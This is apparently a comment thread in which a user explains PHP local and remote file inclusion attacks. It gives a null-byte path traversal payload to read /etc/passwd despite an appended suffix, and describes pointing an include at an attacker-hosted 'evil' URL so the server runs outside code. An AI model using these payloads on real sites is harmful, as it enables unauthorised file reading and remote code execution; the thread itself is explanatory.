It’ll be on my site. :)
r0ut3r.

Ie. http://www.stevenroddis.com/evil.txt?87as
== http://www.stevenroddis.com/evil.txt ”
Yes, but thats not what i am talking about.

Say you have a local file include vuln, like these ones:
http://milw0rm.com/exploits/2768
You see the vulnerable code there? And you see it adds .language.php on the end of the file?

.$setLang.’.language.php’);

So if you just did a request like:
?lang=../../../etc/passwd
it will try and read the file:
/etc/passwd.language.php
Now thats going to create a problem and render this exploit practically useless.

Now to the point, with a little background. In many programming languages you can use null characters to do stuff, depending on what you need it to do, in C you use , and in PHP we use %00. Now what a null byte actually does, and is commonly used for is stopping a string or function midway. Note: I’ve only used a null byte in C once, and it was for an authentication script where i was trying to prevent some form of vulnerability, can’t remember, awhile ago. I’ve never used it in PHP except to assist in exploitation. So back to the example; to stop the script from adding .language.php onto the end, it must be stopped half way. Therefore…

We will inject a null byte and stop it half way, preventing .language.php from being added, to do this it is done like so:
?lang=../../../etc/passwd%00

Does this make sense now?

r0ut3r (writ3r [ at ] gmail.com)

The ? in url starts the query string.

Ie. http://www.stevenroddis.com/evil.txt?87as
== http://www.stevenroddis.com/evil.txt

————————–
Now if $foo is set to ‘http://www.stevenroddis.com/evil?’

The script grabs PHP code from “http://www.stevenroddis.com/evil?bar.php”
————————–
meaning you would need to have a file named “evil?bar.php”, but this is not the case, just inject a null value to make it stop half way through the include statement.

And when you say “(Still with limitations such as the appending string)” - no need to worry about appending string if you use the method i described above ;)

That should help, if not, just send me an email. writ3r [ at ] gmail.com

$foo = ‘bar’;

include(’/file.txt’.$foo);

??